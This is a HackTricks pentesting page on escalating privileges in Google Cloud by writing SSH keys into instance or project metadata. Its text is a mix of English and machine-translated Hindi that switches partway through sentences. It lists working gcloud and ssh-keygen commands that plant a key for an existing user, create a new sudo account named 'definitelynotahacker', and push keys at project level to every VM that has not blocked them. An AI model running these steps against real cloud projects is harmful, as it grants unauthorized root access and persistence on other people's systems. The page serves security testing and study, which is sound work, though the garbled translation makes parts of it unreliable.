GCP - Add Custom SSH Metadata

GCP - Add Custom SSH Metadata

Support HackTricks

Modifying the metadata

Metadata modification on an instance could lead to महत्वपूर्ण सुरक्षा जोखिम यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त करता है.

Incorporation of SSH Keys into Custom Metadata

On GCP, Linux systems often execute scripts from the Python Linux Guest Environment for Google Compute Engine. A critical component of this is the accounts daemon, which is designed to नियमित रूप से जांचना the instance metadata endpoint for अधिकृत SSH सार्वजनिक कुंजियों के लिए अपडेट.

Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and स्थानीय प्रणाली में एकीकृत किया जाएगा. The key will be added into ~/.ssh/authorized_keys file of an मौजूदा उपयोगकर्ता या संभावित रूप से sudo अनुमतियों के साथ एक नया उपयोगकर्ता बनाना, depending on the key's format. And the attacker will be able to compromise the host.

Add SSH key to existing privileged user

  1. Examine Existing SSH Keys on the Instance:

  • Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under metadata, specifically the ssh-keys key.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.

  1. Prepare a Text File for SSH Key Metadata:

  • Save the details of usernames and their corresponding SSH keys into a text file named meta.txt. This is essential for preserving the existing keys while adding new ones.

  1. Generate a New SSH Key for the Target User (alice in this example):

  • Use the ssh-keygen command to generate a new SSH key, ensuring that the comment field (-C) matches the target username.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Add the new public key to meta.txt, mimicking the format found in the instance's metadata.

  1. Update the Instance's SSH Key Metadata:

  • Apply the updated SSH key metadata to the instance using the gcloud compute instances add-metadata command.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Access the Instance Using the New SSH Key:

  • Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (alice in this example).

ssh -i ./key alice@localhost
sudo id

Create a new privileged user and add a SSH key

If no interesting user is found, it's possible to create a new one which will be given sudo privileges:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

यह संभव है कि SSH पहुँच को एक क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाया जाए परियोजना स्तर पर SSH कुंजी लागू करके। यह दृष्टिकोण परियोजना के भीतर किसी भी उदाहरण तक SSH पहुँच की अनुमति देता है जिसने स्पष्ट रूप से परियोजना-व्यापी SSH कुंजियों को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:

  1. परियोजना स्तर पर SSH कुंजी लागू करें:

  • gcloud compute project-info add-metadata कमांड का उपयोग करके meta.txt से SSH कुंजियों को परियोजना के मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजियाँ परियोजना में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. परियोजना-व्यापी कुंजियों का उपयोग करके उदाहरणों में SSH करें:

  • परियोजना-व्यापी SSH कुंजियों के साथ, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण परियोजना-व्यापी कुंजियों को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुँच प्राप्त होगी।

  • किसी उदाहरण में SSH करने का एक सीधा तरीका gcloud compute ssh [INSTANCE] कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजियों का उपयोग करके पहुँच प्राप्त करने का प्रयास करता है।

References

Support HackTricks

Last updated